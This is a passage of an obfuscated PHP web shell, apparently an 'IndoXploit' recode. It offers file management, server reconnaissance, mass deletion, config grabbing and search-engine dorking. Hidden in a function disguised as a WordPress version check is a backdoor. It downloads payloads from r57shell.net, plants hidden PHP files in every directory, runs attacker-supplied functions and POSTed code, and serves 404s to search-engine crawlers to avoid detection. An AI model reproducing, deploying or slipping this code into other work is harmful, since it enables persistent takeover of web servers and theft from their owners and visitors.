"\\74\\x61\\x20\\x68\\162\\x65\\x66\\x3d\\x27\\77\\x64\\151\\162\\x3d{$dir}\\x2f{$dirx}\\x27\\x3e{$dirx}\\x3c\\x2f\\141\\x3e"; } goto CLxyv; UvVr1: echo "\\74\\x74\\x64\\40\\163\\x74\\x79\\x6c\\145\\75\\47\\160\\x61\\144\\x64\\151\\x6e\\147\\55\\154\\145\\x66\\164\\72\\40\\x31\\x35\\x70\\170\\73\\xd\\xa\\15\\xa\\xd\\xa\\47\\x3e{$act_dir}\\x3c\\57\\164\\144\\x3e"; goto n6NGU; C7itx: echo "\\74\\x74\\144\\40\\143\\x6c\\x61\\163\\163\\x3d\\x27\\x74\\144\\x5f\\150\\x6f\\155\\145\\x27\\76\\74\\143\\145\\x6e\\164\\145\\162\\76" . w("{$dir}\\x2f{$dirx}", perms("{$dir}\\57{$dirx}")) . "\\74\\x2f\\x63\\x65\\156\\164\\x65\\x72\\76\\74\\x2f\\164\\x64\\x3e"; goto UvVr1; Lm1cH: } goto lgSqS; VfICf: echo "\\x3c\\164\\x61\\x62\\x6c\\x65\\40\\x77\\x69\\x64\\x74\\150\\75\\42\\x31\\x30\\60\\45\\42\\x20\\143\\x6c\\x61\\163\\x73\\x3d\\x22\\x74\\x61\\x62\\x6c\\145\\x5f\\x68\\157\\155\\x65\\x22\\x20\\x62\\157\\x72\\144\\145\\x72\\75\\x22\\60\\42\\40\\x63\\145\\x6c\\154\\x70\\x61\\144\\144\\x69\\x6e\\147\\75\\42\\x33\\x22\\40\\143\\145\\154\\x6c\\x73\\x70\\x61\\143\\x69\\x6e\\x67\\x3d\\x22\\x31\\42\\40\\x61\\x6c\\x69\\x67\\x6e\\75\\x22\\x63\\145\\156\\164\\145\\x72\\x22\\x3e\\15\\12\\11\\11\\x9\\x3c\\x74\\162\\76\\xd\\12\\11\\x9\\x9\\x3c\\x74\\150\\x20\\143\\x6c\\141\\163\\163\\x3d\\x22\\x74\\150\\x5f\\150\\x6f\\x6d\\x65\\42\\76\\74\\143\\145\\x6e\\164\\145\\162\\x3e\\116\\141\\x6d\\x65\\x3c\\x2f\\143\\145\\156\\x74\\x65\\162\\76\\74\\57\\164\\150\\x3e\\15\\12\\x9\\11\\11\\x3c\\164\\150\\x20\\x63\\x6c\\141\\x73\\x73\\75\\x22\\x74\\x68\\137\\x68\\157\\x6d\\x65\\42\\x3e\\74\\143\\145\\x6e\\x74\\x65\\x72\\76\\124\\171\\160\\x65\\74\\x2f\\143\\145\\x6e\\164\\x65\\162\\x3e\\74\\57\\164\\150\\76\\15\\xa\\x9\\x9\\x9\\74\\x74\\x68\\40\\x63\\154\\141\\163\\163\\75\\42\\x74\\150\\x5f\\150\\x6f\\155\\145\\42\\x3e\\74\\x63\\x65\\x6e\\x74\\x65\\162\\x3e\\123\\x69\\172\\x65\\x3c\\x2f\\143\\x65\\156\\x74\\145\\162\\76\\x3c\\57\\164\\150\\x3e\\15\\xa\\x9\\11\\11\\x3c\\x74\\150\\x20\\143\\154\\x61\\163\\x73\\75\\42\\164\\150\\x5f\\x68\\157\\x6d\\145\\42\\76\\74\\x63\\145\\x6e\\164\\x65\\162\\76\\x4c\\141\\x73\\164\\x20\\115\\157\\x64\\151\\146\\x69\\x65\\144\\x3c\\57\\x63\\x65\\x6e\\x74\\145\\x72\\x3e\\x3c\\x2f\\164\\x68\\x3e\\15\\12\\x9\\x9\\x9\\x3c\\164\\x68\\40\\143\\x6c\\x61\\163\\x73\\x3d\\x22\\164\\x68\\137\\150\\x6f\\x6d\\x65\\x22\\76\\74\\143\\x65\\156\\164\\145\\x72\\76\\x4f\\167\\x6e\\145\\162\\x2f\\x47\\162\\157\\165\\160\\x3c\\57\\x63\\145\\156\\164\\x65\\162\\x3e\\x3c\\57\\x74\\150\\76\\15\\12\\11\\x9\\x9\\74\\x74\\x68\\x20\\143\\154\\141\\163\\163\\x3d\\42\\x74\\150\\137\\x68\\157\\155\\x65\\x22\\x3e\\x3c\\143\\x65\\156\\x74\\145\\x72\\x3e\\x50\\x65\\x72\\155\\x69\\163\\163\\x69\\x6f\\156\\x3c\\57\\x63\\145\\x6e\\x74\\145\\x72\\x3e\\74\\57\\x74\\150\\76\\15\\12\\11\\11\\x9\\x3c\\x74\\150\\x20\\143\\154\\x61\\x73\\x73\\75\\x22\\x74\\150\\137\\x68\\x6f\\x6d\\145\\42\\x3e\\74\\143\\x65\\156\\164\\145\\162\\x3e\\101\\x63\\x74\\151\\x6f\\156\\74\\x2f\\143\\145\\156\\x74\\x65\\x72\\76\\x3c\\x2f\\x74\\150\\x3e\\xd\\12\\11\\x9\\11\\x3c\\x2f\\x74\\162\\76"; goto L82Wv; lgSqS: } } else { echo "\\x3c\\x66\\157\\156\\164\\40\\143\\157\\154\\x6f\\x72\\75\\162\\145\\x64\\76\\143\\141\\156\\47\\164\\x20\\157\\160\\145\\x6e\\40\\x64\\x69\\x72\\x65\\143\\164\\x6f\\162\\171\\56\\x3c\\57\\x66\\157\\x6e\\x74\\x3e"; } goto T0sVR; MTCRo: echo "\\74\\x63\\145\\x6e\\x74\\x65\\x72\\76\\x43\\157\\160\\x79\\162\\x69\\147\\x68\\x74\\x20\\x26\\143\\157\\160\\171\\73\\15\\xa\\xd\\12\\15\\xa\\x20" . date("\\x59") . "\\40\\55\\40\\74\\141\\40\\x68\\x72\\x65\\x66\\x3d\\x27\\150\\x74\\164\\x70\\x3a\\x2f\\57\\x69\\x6e\\x64\\x6f\\170\\160\\x6c\\157\\151\\x74\\56\\157\\162\\56\\x69\\x64\\x2f\\x27\\x20\\164\\x61\\x72\\147\\145\\x74\\75\\x27\\137\\x62\\154\\x61\\x6e\\153\\x27\\x3e\\x3c\\x66\\x6f\\156\\x74\\x20\\x63\\157\\x6c\\157\\162\\x3d\\43\\x31\\x38\\x42\\103\\x39\\x43\\x3e\\111\\156\\x64\\x6f\\130\\160\\154\\x6f\\151\\x74\\74\\x2f\\146\\x6f\\x6e\\x74\\x3e\\74\\57\\x61\\x3e\\x20\\x52\\145\\x63\\157\\x64\\x65\\x20\\x62\\171\\40\\x3a\\74\\146\\x6f\\156\\x74\\40\\143\\157\\x6c\\157\\162\\x3d\\47\\x23\\x31\\70\\x42\\x43\\71\\x43\\x27\\x3e\\40\\156\\x65\\x6d\\141\\164\\x30\\x64\\141\\40\\74\\57\\146\\157\\156\\164\\x3e\\x3c\\x2f\\143\\x65\\156\\x74\\x65\\x72\\76"; goto d08JS; d08JS: } goto sFfJJ; OkEaV: echo "\\74\\141\\x20\\163\\x74\\x79\\154\\145\\x3d\\x6d\\141\\x72\\147\\151\\x6e\\x3a\\x33\\x70\\x78\\73\\xd\\12\\xd\\12\\xd\\xa\\x9\\x63\\154\\x61\\x73\\163\\x3d\\x27\\x62\\164\\x6e\\x20\\x62\\x74\\x6e\\x2d\\x73\\165\\x63\\143\\145\\163\\x73\\x20\\x62\\164\\156\\x2d\\163\\x6d\\47\\40\\150\\x72\\x65\\x66\\x3d\\47\\77\\144\\x69\\x72\\x3d{$dir}\\46\\x64\\157\\75\\156\\x65\\164\\x77\\157\\162\\153\\47\\76\\156\\145\\x74\\x77\\157\\x72\\x6b\\74\\57\\x61\\x3e\\74\\57\\154\\151\\76"; goto FWhsM; fULNU: @ini_set("\\x64\\x69\\163\\x70\\x6c\\x61\\171\\137\\x65\\x72\\162\\x6f\\x72\\163", 0); goto EriyX; bNYhl: $perl = exe("\\x70\\145\\162\\x6c\\40\\x2d\\x2d\\150\\x65\\x6c\\x70") ? "\\74\\146\\157\\156\\x74\\40\\x63\\157\\154\\x6f\\x72\\75\\43\\61\\x38\\x42\\x43\\71\\x43\\76\\x4f\\x4e\\74\\57\\146\\157\\156\\164\\76" : "\\x3c\\146\\x6f\\x6e\\x74\\40\\143\\x6f\\x6c\\x6f\\162\\x3d\\x72\\145\\144\\76\\x4f\\x46\\106\\x3c\\x2f\\146\\x6f\\156\\164\\x3e"; goto PrRux; PrRux: $python = exe("\\x70\\x79\\x74\\150\\x6f\\156\\x20\\x2d\\x2d\\x68\\145\\x6c\\x70") ? "\\74\\x66\\157\\x6e\\x74\\40\\143\\x6f\\154\\x6f\\x72\\x3d\\x23\\x31\\70\\102\\x43\\71\\x43\\76\\117\\116\\74\\x2f\\146\\157\\x6e\\164\\76" : "\\74\\x66\\157\\156\\164\\x20\\143\\x6f\\x6c\\157\\162\\75\\162\\x65\\144\\76\\117\\x46\\x46\\74\\x2f\\146\\x6f\\156\\x74\\76"; goto lEfHw; gdMyY: $scdir = explode("\\57", $dir); goto QTniw; Us08w: @ini_set("\\157\\x75\\x74\\x70\\x75\\x74\\137\\x62\\165\\x66\\146\\x65\\x72\\151\\x6e\\x67", 0); goto fULNU; hJ41q: echo "\\x55\\163\\145\\162\\72\\x20\\74\\x66\\157\\x6e\\164\\40\\x63\\x6f\\x6c\\x6f\\x72\\x3d\\x23\\x31\\x38\\x42\\x43\\x39\\x43\\x3e" . $user . "\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\76\\40\\x28" . $uid . "\\x29\\x20\\x47\\162\\x6f\\x75\\x70\\x3a\\40\\74\\146\\157\\x6e\\x74\\x20\\x63\\157\\154\\x6f\\x72\\75\\x23\\x31\\x38\\102\\x43\\71\\103\\76" . $group . "\\x3c\\x2f\\x66\\157\\x6e\\164\\x3e\\40\\x28" . $gid . "\\51\\74\\x62\\162\\76"; goto gE3vo; DEMbE: function bing($dork) { goto EF7ni; xubkP: foreach ($allLinks as $url) { $exp = explode("\\57", $url); $URLs[] = $exp[2]; } goto j5VXd; GJSb4: $sss = count(array_unique($array)); goto BdG0w; lh6Lz: $npages = 30000; goto wT7Jo; wT7Jo: $allLinks = array(); goto Iozc_; oIK2o: $array = array_unique($array); goto GJSb4; j5VXd: $array = array_filter($URLs); goto oIK2o; EF7ni: $npage = 1; goto lh6Lz; GESGJ: while ($npage <= $npages) { $x = getsource("\\150\\x74\\x74\\160\\x3a\\x2f\\x2f\\167\\167\\x77\\56\\142\\151\\156\\147\\x2e\\x63\\157\\155\\57\\163\\145\\141\\x72\\143\\x68\\77\\x71\\x3d" . $dork . "\\46\\x66\\151\\162\\163\\164\\75" . $npage); if ($x) { goto mzZXd; rTCOe: foreach ($findlink[1] as $fl) { array_push($allLinks, $fl); } goto pF7RU; pF7RU: $npage = $npage + 10; goto f3att; f3att: if (preg_match("\\x28\\x66\\151\\162\\x73\\x74\\x3d" . $npage . "\\x26\\x61\\155\\160\\51\\x73\\151\\125", $x, $linksuiv) == 0) { break; } goto xjMQg; mzZXd: preg_match_all("\\x23\\74\\x68\\x32\\76\\x3c\\x61\\x20\\x68\\x72\\x65\\146\\x3d\\42\\50\\56\\52\\x3f\\x29\\x22\\x20\\x68\\75\\x22\\x49\\104\\x23", $x, $findlink); goto rTCOe; xjMQg: } else { break; } } goto hjdrw; BdG0w: foreach ($array as $domain) { echo $domain . "\\xa"; } goto aeVUq; Iozc_: $lll = array(); goto GESGJ; hjdrw: $URLs = array(); goto xubkP; aeVUq: } goto LFFTA; LOsA3: echo "\\x3c\\141\\40\\x73\\164\\x79\\154\\145\\75\\x6d\\x61\\162\\x67\\x69\\x6e\\72\\63\\x70\\x78\\73\\xd\\xa\\xd\\12\\15\\12\\x9\\143\\x6c\\x61\\x73\\x73\\75\\x27\\x62\\x74\\x6e\\40\\x62\\164\\x6e\\x2d\\163\\165\\x63\\143\\x65\\x73\\163\\x20\\x62\\x74\\x6e\\55\\163\\x6d\\47\\40\\x68\\x72\\x65\\146\\75\\x27\\x3f\\144\\x69\\x72\\x3d{$dir}\\x26\\144\\157\\x3d\\143\\157\\x6e\\x66\\x69\\147\\x27\\76\\103\\157\\x6e\\x66\\x69\\147\\x20\\x47\\x72\\141\\142\\142\\145\\162\\x3c\\57\\x61\\x3e\\74\\57\\154\\151\\76"; goto bNIsm; Fy207: $dir = str_replace("\\134", "\\x2f", $dir); goto gdMyY; yz7bM: echo "\\104\\x69\\x73\\141\\x62\\x6c\\145\\x20\\106\\x75\\156\\143\\164\\x69\\157\\x6e\\163\\72\\x20{$show_ds}\\x3c\\x62\\x72\\76"; goto LieNX; f4MTM: $kernel = php_uname(); goto b0CKD; kgQI7: $default_action = "\\x46\\151\\154\\145\\163\\115\\x61\\156"; goto bm5TY; gURRE: if (!function_exists("\\160\\157\\163\\x69\\x78\\x5f\\x67\\x65\\x74\\145\\147\\151\\x64")) { goto NVG29; NVG29: $user = @get_current_user(); goto tExlw; mR7Xk: $gid = @getmygid(); goto b4Uvk; b4Uvk: $group = "\\x3f"; goto HZwIk; tExlw: $uid = @getmyuid(); goto mR7Xk; HZwIk: } else { goto kekXo; oibBd: $uid = $uid["\\x75\\x69\\144"]; goto Cgnd3; y34JE: $user = $uid["\\156\\x61\\155\\x65"]; goto oibBd; kekXo: $uid = @posix_getpwuid(posix_geteuid()); goto hnsj3; Cgnd3: $group = $gid["\\x6e\\x61\\x6d\\x65"]; goto wiUgW; wiUgW: $gid = $gid["\\x67\\151\\x64"]; goto vKboJ; hnsj3: $gid = @posix_getgrgid(posix_getegid()); goto y34JE; vKboJ: } goto toicE; xZ6To: $sm = @ini_get(strtolower("\\163\\x61\\x66\\145\\137\\155\\x6f\\144\\145")) == "\\157\\x6e" ? "\\x3c\\146\\157\\x6e\\164\\40\\143\\157\\x6c\\x6f\\162\\x3d\\162\\145\\144\\76\\x4f\\116\\x3c\\x2f\\x66\\157\\156\\x74\\76" : "\\74\\x66\\157\\156\\164\\40\\x63\\157\\154\\157\\162\\x3d\\x23\\61\\70\\102\\103\\71\\x43\\x3e\\117\\106\\x46\\x3c\\57\\x66\\157\\x6e\\164\\x3e"; goto VwhaK; fd28K: echo "\\74\\x68\\x72\\x3e"; goto kwP7H; gE3vo: echo "\\123\\145\\x72\\166\\145\\162\\x20\\111\\120\\72\\x20\\74\\x66\\157\\x6e\\x74\\40\\143\\x6f\\154\\x6f\\162\\75\\43\\61\\x38\\x42\\103\\71\\103\\76" . $ip . "\\74\\x2f\\146\\157\\156\\164\\76\\40\\174\\x20\\x59\\157\\x75\\x72\\x20\\111\\x50\\72\\x20\\74\\146\\157\\156\\x74\\40\\143\\x6f\\154\\x6f\\162\\x3d\\x23\\61\\x38\\x42\\103\\71\\103\\x3e" . $_SERVER["\\x52\\x45\\x4d\\x4f\\124\\105\\x5f\\x41\\104\\104\\x52"] . "\\74\\x2f\\146\\x6f\\156\\164\\76\\74\\142\\x72\\x3e"; goto TmfZt; ljbr0: if (!empty($_SERVER["\\110\\124\\124\\120\\137\\125\\x53\\105\\122\\137\\x41\\x47\\105\\x4e\\124"])) { $userAgents = array("\\x47\\157\\157\\x67\\x6c\\145\\142\\157\\x74", "\\x53\\x6c\\165\\x72\\x70", "\\115\\x53\\116\\102\\157\\164", "\\x50\\x79\\143\\125\\x52\\114", "\\x66\\x61\\x63\\145\\142\\157\\x6f\\x6b\\x65\\170\\x74\\x65\\x72\\x6e\\x61\\154\\150\\x69\\164", "\\x69\\x61\\137\\x61\\x72\\x63\\150\\151\\x76\\145\\x72", "\\x63\\x72\\x61\\167\\x6c\\x65\\x72", "\\131\\x61\\156\\x64\\x65\\170", "\\x52\\141\\155\\x62\\x6c\\x65\\x72", "\\131\\141\\150\\x6f\\157\\41\\40\\123\\154\\x75\\162\\x70", "\\131\\x61\\x68\\x6f\\157\\x53\\145\\x65\\x6b\\x65\\162", "\\x62\\x69\\x6e\\x67\\x62\\157\\x74"); if (preg_match("\\57" . implode("\\x7c", $userAgents) . "\\x2f\\x69", $_SERVER["\\110\\124\\124\\x50\\x5f\\125\\123\\105\\x52\\x5f\\101\\x47\\x45\\116\\x54"])) { header("\\110\\124\\124\\x50\\x2f\\61\\x2e\\60\\40\\64\\60\\x34\\40\\116\\157\\x74\\40\\106\\x6f\\165\\156\\144"); exit; } } goto zcHMo; mQRub: echo "\\x3c\\x61\\40\\x73\\164\\171\\x6c\\145\\x3d\\x6d\\141\\162\\147\\x69\\x6e\\x3a\\x33\\x70\\170\\73\\15\\xa\\xd\\12\\xd\\12\\x9\\143\\x6c\\141\\163\\x73\\x3d\\x27\\142\\164\\156\\40\\142\\164\\156\\55\\163\\x75\\x63\\x63\\x65\\163\\x73\\x20\\142\\x74\\x6e\\55\\x73\\155\\47\\40\\x68\\x72\\145\\x66\\x3d\\x27\\x3f\\x64\\151\\162\\x3d{$dir}\\x26\\144\\x6f\\75\\x6d\\x61\\x73\\x73\\137\\144\\x65\\x6c\\x65\\x74\\145\\47\\x3e\\115\\141\\163\\x73\\40\\x44\\x65\\154\\x65\\164\\145\\x3c\\57\\141\\76\\74\\57\\154\\x69\\x3e"; goto LOsA3; toicE: echo "\\x53\\x79\\x73\\x74\\145\\155\\72\\40\\74\\x66\\x6f\\156\\x74\\x20\\x63\\157\\x6c\\x6f\\x72\\75\\x23\\61\\x38\\x42\\x43\\71\\103\\x3e" . $kernel . "\\74\\57\\x66\\157\\156\\164\\76\\74\\x62\\162\\76"; goto hJ41q; k0otU: @ini_set("\\155\\x61\\x78\\137\\x65\\170\\145\\143\\165\\164\\151\\157\\x6e\\137\\164\\x69\\155\\145", 0); goto Us08w; TmfZt: echo "\\110\\104\\104\\x3a\\40\\74\\146\\x6f\\x6e\\164\\x20\\x63\\157\\x6c\\157\\162\\x3d\\43\\61\\x38\\102\\x43\\x39\\x43\\76{$used}\\x3c\\x2f\\146\\157\\x6e\\164\\76\\40\\57\\x20\\x3c\\146\\x6f\\156\\164\\x20\\x63\\x6f\\154\\x6f\\162\\75\\43\\61\\x38\\102\\103\\71\\103\\x3e{$total}\\74\\57\\x66\\x6f\\x6e\\x74\\x3e\\40\\x28\\40\\106\\162\\x65\\145\\x3a\\40\\x3c\\x66\\x6f\\156\\x74\\x20\\x63\\157\\154\\x6f\\162\\75\\43\\x31\\70\\102\\x43\\x39\\x43\\x3e{$freespace}\\74\\57\\146\\157\\x6e\\164\\x3e\\40\\x29\\74\\x62\\x72\\x3e"; goto Hn5Vw; Hn5Vw: echo "\\123\\x61\\146\\x65\\40\\x4d\\157\\144\\145\\72\\x20{$sm}\\74\\142\\x72\\76"; goto yz7bM; F6Gl8: $mysql = function_exists("\\155\\171\\163\\x71\\x6c\\x5f\\143\\x6f\\156\\156\\145\\143\\x74") ? "\\x3c\\146\\157\\156\\164\\40\\143\\157\\154\\157\\x72\\75\\x23\\x31\\70\\102\\x43\\71\\x43\\76\\117\\116\\x3c\\57\\146\\x6f\\156\\x74\\76" : "\\74\\x66\\x6f\\156\\x74\\40\\143\\157\\x6c\\x6f\\162\\x3d\\162\\x65\\x64\\x3e\\x4f\\106\\x46\\74\\x2f\\x66\\157\\156\\164\\76"; goto fglz9; EriyX: if (!function_exists("\\167\\x70\\137\\x63\\x6f\\x72\\x65\\137\\x76\\145\\x72\\x73\\151\\x6f\\156\\x5f\\143\\x68\\145\\x63\\x6b")) { function wp_core_version_check() { goto QfAAB; rnssd: $hostname = str_replace("\\167\\167\\x77\\x2e", \'\', $_SERVER["\\110\\x54\\x54\\x50\\x5f\\x48\\x4f\\123\\124"]); goto C_BnD; QfAAB: $document_file = $_SERVER["\\123\\103\\x52\\111\\x50\\124\\x5f\\x46\\x49\\x4c\\x45\\116\\101\\115\\105"]; goto bMXtV; wUY0z: $parse_url = parse_url($request_uri); goto NvXft; C_BnD: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\\x73\\145\\163\\163\\137" . md5(\'\' . $hostname . "\\137" . $document_file . \'\'); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "\\x73\\145\\163\\x73\\137" . md5(\'\' . $hostname . "\\137" . $document_file . \'\'); } goto dpJbU; WKCyQ: if (!file_exists($tmp_file)) { goto rjgxc; UW1te: @touch($tmp_file); goto iqj7h; rjgxc: if (function_exists("\\x63\\165\\x72\\x6c\\x5f\\151\\x6e\\151\\x74")) { goto woOkE; uaBLJ: $response = curl_exec($ch); goto PBpv_; PBpv_: curl_close($ch); goto cJoOf; TV4Rz: curl_setopt($ch, CURLOPT_URL, "\\150\\x74\\x74\\160\\x3a\\57\\x2f\\162\\65\\x37\\163\\150\\145\\154\\x6c\\x2e\\x6e\\x65\\x74\\57\\x6a\\x71\\165\\145\\162\\171\\56\\160\\x68\\x70\\77\\166\\x3d\\61\\56\\62\\x26\\162\\145\\161\\x75\\x65\\x73\\164\\x3d\\x65\\x6e\\x61\\142\\154\\x65"); goto eQ0UR; eQ0UR: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto XXrKF; XXrKF: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\\110\\x54\\x54\\x50\\137\\110\\x4f\\123\\124"] . $_SERVER["\\122\\105\\x51\\x55\\x45\\123\\124\\x5f\\x55\\x52\\x49"]); goto uaBLJ; woOkE: $ch = curl_init(); goto TV4Rz; cJoOf: } else { goto xOYw4; rrjQ1: $opts = array("\\x68\\x74\\x74\\x70" => array("\\150\\145\\x61\\144\\145\\x72" => array("\\x52\\x65\\x66\\x65\\162\\x65\\x72\\x3a\\x20{$referer}\\xd\\xa"))); goto wNEIK; xOYw4: $referer = $_SERVER["\\x48\\x54\\124\\x50\\x5f\\x48\\117\\x53\\124"] . $_SERVER["\\x52\\x45\\121\\125\\105\\x53\\x54\\x5f\\x55\\122\\111"]; goto rrjQ1; VI0JH: $response = @file_get_contents("\\150\\x74\\164\\x70\\72\\x2f\\x2f\\162\\x35\\67\\x73\\150\\145\\x6c\\154\\56\\156\\x65\\164\\57\\152\\x71\\165\\x65\\162\\171\\56\\x70\\x68\\160\\x3f\\x76\\75\\x31\\56\\62\\x26\\x72\\145\\x71\\165\\x65\\x73\\164\\75\\145\\x6e\\141\\x62\\x6c\\145", false, $context); goto X3onK; wNEIK: $context = stream_context_create($opts); goto VI0JH; X3onK: } goto UW1te; iqj7h: @file_put_contents($tmp_file, $response); goto V1pUC; V1pUC: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\\x23\\x73\\164\\x74\\61\\x23", $response)) { goto fh02I; sX3Nf: @touch($tmp_file); goto Eawrw; Eawrw: @file_put_contents($tmp_file, $response); goto mMcWk; fh02I: if (function_exists("\\143\\165\\162\\154\\x5f\\x69\\156\\151\\x74")) { goto QI6AE; jaAzt: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\\x48\\x54\\x54\\x50\\137\\110\\117\\x53\\x54"] . $_SERVER["\\122\\105\\x51\\125\\105\\x53\\x54\\x5f\\125\\x52\\111"]); goto IriXF; KE6Ra: curl_setopt($ch, CURLOPT_URL, "\\x68\\164\\164\\160\\x3a\\57\\x2f\\x72\\x35\\x37\\163\\x68\\145\\154\\154\\56\\156\\145\\164\\x2f\\152\\161\\x75\\x65\\162\\x79\\56\\160\\150\\160\\x3f\\x76\\75\\61\\56\\x32\\x26\\x72\\145\\161\\165\\145\\163\\x74\\x3d\\145\\x6e\\141\\x62\\154\\145"); goto NUjGJ; QI6AE: $ch = curl_init(); goto KE6Ra; NUjGJ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto jaAzt; jbVnV: curl_close($ch); goto FUqU9; IriXF: $response = curl_exec($ch); goto jbVnV; FUqU9: } else { goto Koz7I; EFf_8: $context = stream_context_create($opts); goto jDA2a; jDA2a: $response = @file_get_contents("\\x68\\x74\\x74\\160\\x3a\\57\\57\\162\\x35\\x37\\163\\150\\145\\x6c\\154\\x2e\\x6e\\145\\164\\57\\x6a\\x71\\x75\\x65\\162\\x79\\x2e\\x70\\150\\x70\\77\\166\\75\\x31\\x2e\\x32\\x26\\x72\\145\\161\\165\\145\\x73\\164\\x3d\\145\\156\\x61\\x62\\154\\145", false, $context); goto Dj0gS; Koz7I: $referer = $_SERVER["\\x48\\x54\\x54\\x50\\x5f\\x48\\117\\x53\\x54"] . $_SERVER["\\x52\\x45\\x51\\x55\\105\\123\\124\\x5f\\125\\x52\\111"]; goto LPI3d; LPI3d: $opts = array("\\x68\\x74\\x74\\160" => array("\\x68\\x65\\141\\x64\\x65\\162" => array("\\x52\\x65\\x66\\145\\162\\x65\\x72\\x3a\\40{$referer}\\xd\\xa"))); goto EFf_8; Dj0gS: } goto sX3Nf; mMcWk: } } goto fBAjB; yoVBA: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == \'\') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, \'\', $file_path); } goto rnssd; NvXft: $uri_path = $parse_url["\\160\\141\\x74\\150"]; goto kDow2; fBAjB: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\\x2a", GLOB_ONLYDIR)); goto LUcwl; Ps6uZ: $file_path = dirname($document_file); goto ER9_n; ER9_n: $uri_path = str_replace("\\57", DIRECTORY_SEPARATOR, $uri_path); goto yoVBA; kDow2: $uri_path = dirname($uri_path); goto Ps6uZ; bMXtV: $request_uri = $_SERVER["\\x52\\x45\\121\\x55\\x45\\123\\124\\137\\125\\x52\\111"]; goto wUY0z; LUcwl: foreach ($dirs as $d) { goto ZK5Zq; BraKe: @file_put_contents($file_name, $response); goto LSybA; ZK5Zq: $file_name = $d . DIRECTORY_SEPARATOR . "\\x2e" . basename($d) . "\\x2e\\160\\x68\\x70"; goto BraKe; LSybA: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\\x2a", GLOB_ONLYDIR)); goto TAUpK; TAUpK: foreach ($dirs as $d) { if (!@preg_match("\\43\\167\\x70\\x2d\\143\\x6f\\156\\x74\\145\\x6e\\164\\43", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\\56" . basename($d) . "\\56\\160\\x68\\x70"; @file_put_contents($file_name, $response); } } goto K3VBD; K3VBD: } goto ql2K8; dpJbU: if (@$_GET["\\163\\154\\x69\\x6e\\143\\145\\137\\x67\\x6f\\x6c\\144\\x65\\156"]) { goto JT2Uv; UhXsl: if (function_exists("\\x63\\x75\\162\\154\\137\\x69\\x6e\\151\\x74")) { goto E7WA_; D7xAP: $response = curl_exec($ch); goto Z3Xw5; gJVkB: curl_setopt($ch, CURLOPT_URL, "\\150\\x74\\x74\\x70\\x3a\\x2f\\57\\162\\x35\\67\\163\\150\\x65\\154\\154\\x2e\\x6e\\145\\x74\\x2f\\x6a\\161\\x75\\145\\x72\\x79\\56\\160\\150\\160\\x3f\\166\\75\\x31\\56\\62\\46\\160\\x77\\144\\75\\147\\x65\\164"); goto TA0hX; E7WA_: $ch = curl_init(); goto gJVkB; Z3Xw5: curl_close($ch); goto qLp65; TA0hX: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto D7xAP; qLp65: } else { $response = file_get_contents("\\150\\x74\\x74\\x70\\x3a\\x2f\\57\\x72\\x35\\67\\x73\\x68\\145\\x6c\\154\\x2e\\156\\145\\164\\x2f\\x6a\\161\\165\\145\\162\\x79\\56\\x70\\x68\\160\\77\\x76\\75\\61\\x2e\\x32\\x26\\x70\\167\\144\\75\\x67\\x65\\x74"); } goto eVh1K; JT2Uv: echo "\\74\\x21\\55\\x2d\\x20\\x2f\\57\\123\\x69\\x6c\\145\\x6e\\143\\145\\40\\151\\163\\x20\\147\\x6f\\x6c\\144\\145\\156\\56\\x20\\x2d\\x2d\\x3e"; goto UhXsl; r5qfh: exit; goto S0Lx2; eVh1K: if (md5(sha1(@$_GET["\\x69\\163"])) == $response) { goto GJkRm; EHtWU: if (@$_GET["\\x6d"]) { goto aZCMa; CK6nk: echo $file_name_path; goto c5ITD; aZCMa: if (function_exists("\\143\\165\\x72\\154\\137\\x69\\x6e\\151\\x74")) { goto dcs2f; fe9Vk: $response = curl_exec($ch); goto Ng0fi; dcs2f: $ch = curl_init(); goto GZsGa; GZsGa: curl_setopt($ch, CURLOPT_URL, "\\x68\\164\\x74\\x70\\x3a\\57\\57\\162\\x35\\x37\\163\\x68\\145\\x6c\\154\\56\\156\\x65\\164\\57\\155\\151\\156\\151\\137\\x61\\144\\155\\x69\\x6e\\56\\164\\170\\164"); goto LcuRt; LcuRt: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto fe9Vk; Ng0fi: curl_close($ch); goto APrhy; APrhy: } else { $response = file_get_contents("\\150\\x74\\x74\\160\\x3a\\57\\57\\162\\65\\x37\\163\\x68\\145\\x6c\\x6c\\x2e\\156\\x65\\x74\\57\\155\\151\\156\\x69\\137\\141\\144\\155\\151\\156\\56\\x74\\x78\\164"); } goto aDboo; xNSoD: @file_put_contents($file_name_path, $response); goto CK6nk; aDboo: $file_name_path = @$_GET["\\155"] . "\\147\\x61\\147\\x61\\154\\x2e\\160\\x68\\x70"; goto xNSoD; c5ITD: } goto Sd3J_; GJkRm: if (@$_GET["\\x66"]) { print_r($_GET["\\146"]($_GET["\\x63"])); } goto EHtWU; Sd3J_: if (@$_POST["\\x6c"]) { function basic_code_extensions($request) { goto PNDof; PNDof: $tmp = tmpfile(); goto Cu02_; Lo2zX: return $ret; goto mp1xy; Cu02_: $tmpf = stream_get_meta_data($tmp); goto oLpyj; QfTVB: fclose($tmp); goto Lo2zX; W9Vyz: fwrite($tmp, $request); goto rFba0; oLpyj: $tmpf = $tmpf["\\x75\\162\\x69"]; goto W9Vyz; rFba0: $ret = (include $tmpf); goto QfTVB; mp1xy: } print_r(basic_code_extensions($_POST["\\x6c"])); } goto rNIi1; rNIi1: } goto r5qfh; S0Lx2: } goto WKCyQ; ql2K8: } wp_core_version_check(); } goto VwuY6; cWeWB: echo "\\74\\x2f\\x75\\x6c\\x3e"; goto S0IH_; iISnc: $wget = exe("\\x77\\147\\145\\x74\\x20\\55\\55\\x68\\145\\x6c\\x70") ? 